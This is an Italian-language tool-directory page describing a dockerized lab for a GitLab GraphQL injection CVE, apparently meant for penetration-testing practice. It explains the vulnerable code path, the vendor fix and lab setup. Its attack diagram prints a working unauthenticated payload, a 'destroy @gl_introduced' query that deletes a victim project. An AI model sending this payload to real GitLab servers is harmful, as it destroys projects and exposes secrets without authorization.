Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Gitlab-CVE-2026-19478 — Laboratorio di exploit dockerizzato e script per CVE-2026-19478, una critica iniezione di codice GraphQL non autenticata in GitLab che consente chiamate arbitrarie a metodi Ruby, eliminazione di progetti ed esfiltrazione di dati. | Kitploit
Strumenti/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebTest di Sicurezza delle APIPenetration TestingApprendimento e FormazioneLab e Pratica
GitHub
punitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

Laboratorio di exploit dockerizzato e script per CVE-2026-19478, una critica iniezione di codice GraphQL non autenticata in GitLab che consente chiamate arbitrarie a metodi Ruby, eliminazione di progetti ed esfiltrazione di dati.

Vedi Repository
411 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-19478 — Iniezione della Direttiva GraphQL @gl_introduced di GitLab

Iniezione Remota di Codice Non Autenticata tramite Direttiva GraphQL in GitLab CE/EE — Elimina Qualsiasi Progetto Pubblico con una Singola Richiesta HTTP

Un laboratorio pratico di penetration testing che riproduce CVE-2026-19478, una vulnerabilità critica (CVSS 9.4) nell'API GraphQL di GitLab. La direttiva @gl_introduced consente ad attaccanti non autenticati di eseguire metodi Ruby arbitrari su oggetti lato server — inclusa l'eliminazione di progetti, l'esfiltrazione di dati e il trasferimento di proprietà — con zero autenticazione.

Questo laboratorio esegue un'istanza reale e vulnerabile di GitLab CE 19.2.0 in Docker per una pratica di sfruttamento realistica.

Indice

  • Riepilogo della Vulnerabilità
  • Come Funziona lo Sfruttamento
  • Diagramma del Flusso di Attacco
  • Configurazione del Laboratorio
  • Guida allo Sfruttamento
  • Utilizzo dello Script di Exploit
  • Rilevamento e Indicatori di Compromissione
  • Rimedio
  • Riferimenti
  • Disclaimer
  • Contattaci

Riepilogo della Vulnerabilità

CampoValore
ID CVECVE-2026-19478
Punteggio CVSS9.4 (Critico)
ProdottoGitLab Community Edition (CE) / Enterprise Edition (EE)
Tipo di VulnerabilitàIniezione di Codice / Esecuzione Arbitraria di Metodi (CWE-94)
Vettore di AttaccoRete (Remoto)
AutenticazioneNon richiesta
Interazione dell'UtenteNessuna
Complessità dell'AttaccoBassa
Versioni Interessate18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
Versioni Corrette18.11.11, 19.0.8, 19.1.6, 19.2.4
Scoperta dahiimguardian (tramite HackerOne)
Data della Patch17 agosto 2026

Impatto

Un attaccante remoto non autenticato può:

  • Eliminare permanentemente qualsiasi progetto pubblico
  • Esfiltrare dati interni, token di amministrazione e segreti
  • Modificare visibilità, proprietà e impostazioni dei progetti
  • Eseguire metodi Ruby arbitrari sul modello Project lato server
  • Archiviare o trasferire progetti senza autorizzazione

Come Funziona lo Sfruttamento

La Direttiva @gl_introduced

GitLab utilizza una direttiva GraphQL personalizzata @gl_introduced(version: "X.Y") per supportare i deployment progressivi. Quando una versione più recente di GitLab aggiunge un campo all'API GraphQL, le istanze più vecchie gestiscono le query che fanno riferimento a questi nuovi campi in modo elegante, restituendo null invece di un errore.

Il Percorso del Codice Vulnerabile

File: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Righe 14-36)

Analisi passo-passo:

  1. FutureFieldFilter analizza le query GraphQL in ingresso. Quando un campo ha @gl_introduced(version) con una versione più recente del server corrente, rimuove il campo e imposta context[:contain_future_fields] = true.

  2. IntroducedTracer ripristina il documento di query originale al momento dell'esecuzione, reinserendo i campi rimossi nell'AST.

  3. FutureFieldFallback#get_field intercetta ogni ricerca di campo durante l'esecuzione. Verifica tre condizioni:

    • Il flag contain_future_fields è impostato? ✅
    • Il campo è assente dallo schema? ✅
    • Il nome NON inizia con __? ✅
    • Il nome del campo è sicuro? ❌ Non esiste alcun controllo!
  4. Quando tutti e tre i controlli vengono superati, sintetizza un nuovo GraphQL::Schema::Field senza classe resolver.

  5. In graphql-ruby, un campo senza resolver viene risolto chiamando object.public_send(field_name) sull'oggetto Ruby sottostante — convertendo il nome del campo dell'attaccante in una chiamata di metodo arbitraria sul modello Project di ActiveRecord.

La Correzione (19.2.4+)

La patch di GitLab sostituisce l'invio implicito di metodi con un NilResolver esplicito che restituisce nil incondizionatamente, preservando la compatibilità con i deployment progressivi ed eliminando l'esecuzione arbitraria di metodi:

# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

Diagramma del Flusso di Attacco

                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

Configurazione del Laboratorio

Prerequisiti

  • Docker e Docker Compose installati
  • Almeno 4 GB di RAM disponibili per Docker (GitLab richiede molte risorse)
  • Python 3 (per lo script di exploit)
  • Browser web o curl / httpie per testare l'API

Avvio Rapido — GitLab CE 19.2.0 Reale (Vulnerabile)

# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

Punti di Accesso

Scarica lo strumento